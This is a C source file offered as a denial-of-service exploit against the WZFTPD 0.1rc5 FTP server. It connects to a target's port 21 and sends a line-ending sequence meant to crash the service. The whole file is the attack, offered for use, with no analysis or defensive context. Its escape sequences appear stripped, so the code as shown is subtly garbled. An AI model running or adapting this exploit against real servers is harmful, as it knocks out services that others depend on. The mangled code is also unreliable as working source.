/*
wzftpdos.c for 0.1rc5 by r3b00t <[email protected]>
----------------------------------------------
remote/local WZFTPD 0.1rc5 DoS exploit
website: http://r3b00t.tx.pl/
discovred by Moran Zavdi
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
int sock=0;
int main(int argc, char* argv[]) {
struct hostent *hp;
struct sockaddr_in addr;
printf("wzftpdos.c for 0.1rc5 by r3b00t <[email protected]>n");
if (argc<2) { printf("usage: %s <server>n", argv[0]); exit(0); }
hp=gethostbyname(argv[1]);
if (!hp) { printf("can't resolve %sn", argv[1]); exit(0); }
bzero((char *)&addr, sizeof(addr));
if ((sock=socket(AF_INET, SOCK_STREAM, 0))<0) {
printf("can't create socketn");
exit(0);
}
bcopy(hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
addr.sin_family=AF_INET;
addr.sin_port=htons(21);
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))!=0) {
printf("can't connect to %sn", argv[1]);
close(sock);
exit(0);
}
printf("sending \r\n ... ");
send(sock, "rn", 2, 0);
shutdown(sock, 2);
close(sock);
printf("done.n");
return 0;
}

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